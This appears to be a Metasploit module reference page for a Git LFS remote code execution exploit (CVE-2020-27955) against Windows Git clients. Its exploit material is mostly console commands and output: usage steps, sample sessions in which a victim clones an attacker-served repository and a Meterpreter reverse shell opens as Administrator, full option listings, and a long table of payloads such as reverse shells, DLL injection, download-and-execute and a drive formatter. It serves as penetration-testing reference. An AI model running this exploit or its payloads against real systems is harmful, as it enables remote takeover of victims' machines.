Git Remote Code Execution via git-lfs (CVE-2020-27955) - Metasploit


This page contains detailed information about how to use the exploit/windows/http/git_lfs_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Git Remote Code Execution via git-lfs (CVE-2020-27955)
Module: exploit/windows/http/git_lfs_rce
Source code: modules/exploits/windows/http/git_lfs_rce.rb
Disclosure date: 2020-11-04
Last modification time: 2021-09-14 16:32:25 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-27955

A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/windows/http/git_lfs_rce
msf exploit(git_lfs_rce) > exploit

Knowledge Base


Vulnerable Application


Git in versions <= 2.29.2 includes git-lfs extension which allows remote attackers to execute arbitrary code on the victim's Windows system upon a clone operation. Attackers are able to plant a backdoor in the root directory of a malicious repository by simply adding an executable file named git.exe or any other executable extension available on the target Windows system (PATHEXT environment variable dependent). As a result, the malicious git binary will get executed automatically instead of the original git binary located in a trusted path, when the repository is cloned.

Vulnerable Installation

  1. Download a vulnerable version of Git for Windows: v2.28.0
  2. On the Select Components section of the installer, make sure Git LFS is selected (should be by default)
  3. You should now be able to run the exploit and get a session on Windows

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/git_lfs_rce
  4. Do: run
  5. Ensure the exploit sets up a repository to be cloned, ex: http://192.168.123.1:8080/fixflex.git
  6. From the victim machine, clone the repository created by the exploit.
  7. You should get a shell.

Scenarios


Git v2.28.0 on Windows 10 (2004)

msf6 > use windows/http/git_lfs_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/git_lfs_rce) > set LHOST 172.16.199.1
LHOST => 172.16.199.1
msf6 exploit(windows/http/git_lfs_rce) > set RHOSTS 172.16.199.151
RHOSTS => 172.16.199.151
msf6 exploit(windows/http/git_lfs_rce) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444 
msf6 exploit(windows/http/git_lfs_rce) > 
[*] Using URL: http://0.0.0.0:8080/4C11tyW2NVX
[*] Local IP: http://192.168.2.114:8080/4C11tyW2NVX
[*] Server started.
[*] Git repository to clone: http://172.16.199.1:8080/cookley.git
[*] Sending payload data...
[*] Sending LFS object...
[*] Sending stage (200262 bytes) to 172.16.199.151
[+] Deleted .gitattributes
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.151:50018) at 2021-09-07 12:05:55 -0400
msf6 exploit(windows/http/git_lfs_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-13BFU78\Administrator
meterpreter > sysinfo
Computer        : DESKTOP-13BFU78
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 

Git v2.32.0 on Windows 10 20H2

msf6 > use windows/http/git_lfs_rce
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/git_lfs_rce) > set LHOST 192.168.123.1
LHOST => 192.168.123.1
msf6 exploit(windows/http/git_lfs_rce) > set RHOSTS 192.168.123.150
RHOSTS => 172.16.199.151
msf6 exploit(windows/http/git_lfs_rce) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
msf6 exploit(windows/http/git_lfs_rce) > [*] Using URL: http://0.0.0.0:8080/15VCXHvHTOq5O
[*] Local IP: http://192.168.2.114:8080/15VCXHvHTOq5O
[*] Server started.
[*] Git repository to clone: http://192.168.123.1:8080/fixflex.git
[-] Exception handling request: The git client needs to be running on windows with a version less than 2.29.2. The client found was running on: Windows and was version: 2.32.0

Go back to menu.

Msfconsole Usage


Here is how the windows/http/git_lfs_rce exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/git_lfs_rce

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/git_lfs_rce) > show info

       Name: Git Remote Code Execution via git-lfs (CVE-2020-27955)
     Module: exploit/windows/http/git_lfs_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-04

Provided by:
  Dawid Golunski
  space-r7
  jheysel-r7

Module side effects:
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Git LFS <= 2.12

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  GIT_URI                   no        The URI to use as the malicious Git instance (empty for random)
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RPORT    80               yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to l
                                      isten on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  A critical vulnerability (CVE-2020-27955) in Git Large File Storage 
  (Git LFS), an open source Git extension for versioning large files, 
  allows attackers to achieve remote code execution if the 
  Windows-using victim is tricked into cloning the attacker���s 
  malicious repository using a vulnerable Git version control tool

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-27955
  https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/

Module Options


This is a complete list of options available in the windows/http/git_lfs_rce exploit:

msf6 exploit(windows/http/git_lfs_rce) > show options

Module options (exploit/windows/http/git_lfs_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   GIT_URI                   no        The URI to use as the malicious Git instance (empty for random)
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                       listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Git LFS <= 2.12

Advanced Options


Here is a complete list of advanced options supported by the windows/http/git_lfs_rce exploit:

msf6 exploit(windows/http/git_lfs_rce) > show advanced

Module advanced options (exploit/windows/http/git_lfs_rce):

   Name                    Current Setting                          Required  Description
   ----                    ---------------                          --------  -----------
   ContextInformationFile                                           no        The information file that contains context information
   DOMAIN                  WORKSTATION                              yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                     no        Conform to IIS, should work for most servers. Only set to false for no
                                                                              n-IIS servers
   DisablePayloadHandler   false                                    no        Disable the handler code for the selected payload
   EXE::Custom                                                      no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                    no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                    no        Use the default template in case the specified one is missing
   EXE::Inject             false                                    no        Set to preserve the original EXE function
   EXE::OldMethod          false                                    no        Set to use the substitution EXE generation method.
   EXE::Path                                                        no        The directory in which to look for the executable template
   EXE::Template                                                    no        The executable template file name.
   EnableContextEncoding   false                                    no        Use transient context when encoding payloads
   FileDropperDelay                                                 no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                     no        Conduct a pre-exploit fingerprint verification
   GitPassword                                                      no        The Git password for authentication
   GitUsername                                                      no        The Git user name for authentication
   HttpClientTimeout                                                no        HTTP connection and receive timeout
   HttpPassword                                                     no        The HTTP password to specify for authentication
   HttpRawHeaders                                                   no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                    no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                  no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                    no        Show HTTP headers only in HttpTrace
   HttpUsername                                                     no        The HTTP username to specify for authentication
   ListenerComm                                                     no        The specific communication channel to use for this service
   MSI::Custom                                                      no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                    no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                        no        The directory in which to look for the msi template
   MSI::Template                                                    no        The msi template file name
   MSI::UAC                false                                    no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                    no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                     yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are aut
                                                                              o-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                    no        Return a robots.txt file if asked for one
   URIHOST                                                          no        Host to use in URI (useful for tunnels)
   URIPORT                                                          no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Wind  no        The User-Agent header to use for all requests
                           ows NT 5.1)
   VERBOSE                 false                                    no        Enable detailed status messages
   WORKSPACE                                                        no        Specify the workspace for this module

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
                                                            directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/git_lfs_rce module can exploit:

msf6 exploit(windows/http/git_lfs_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Git LFS <= 2.12

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/git_lfs_rce exploit:

msf6 exploit(windows/http/git_lfs_rce) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   6    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   17   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   18   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   19   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   21   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   22   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   23   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   24   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   26   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   27   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   28   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   29   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   30   payload/windows/exec                                                         normal  No     Windows Execute Command
   31   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   32   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   33   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   34   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   35   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   36   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   37   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   38   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   39   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   40   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   41   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   42   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   43   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   44   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   45   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   46   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   47   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   48   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   49   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   50   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   51   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   52   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   53   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   54   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   55   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   57   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   58   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   59   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   60   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   61   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   62   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   63   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   64   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   65   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   66   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   67   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   68   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   69   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   70   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   71   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   73   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   74   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   75   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   77   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   78   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   79   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   80   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   81   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   82   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   83   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   85   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   86   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   87   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   88   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   89   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   90   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   91   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   92   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   93   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   94   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   95   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   96   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   97   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   98   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   99   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   100  payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   101  payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   102  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   103  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   104  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   105  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   106  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   107  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   108  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   109  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   110  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   111  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   112  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   113  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   114  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   115  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   116  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   117  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   118  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   119  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   120  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   121  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   122  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
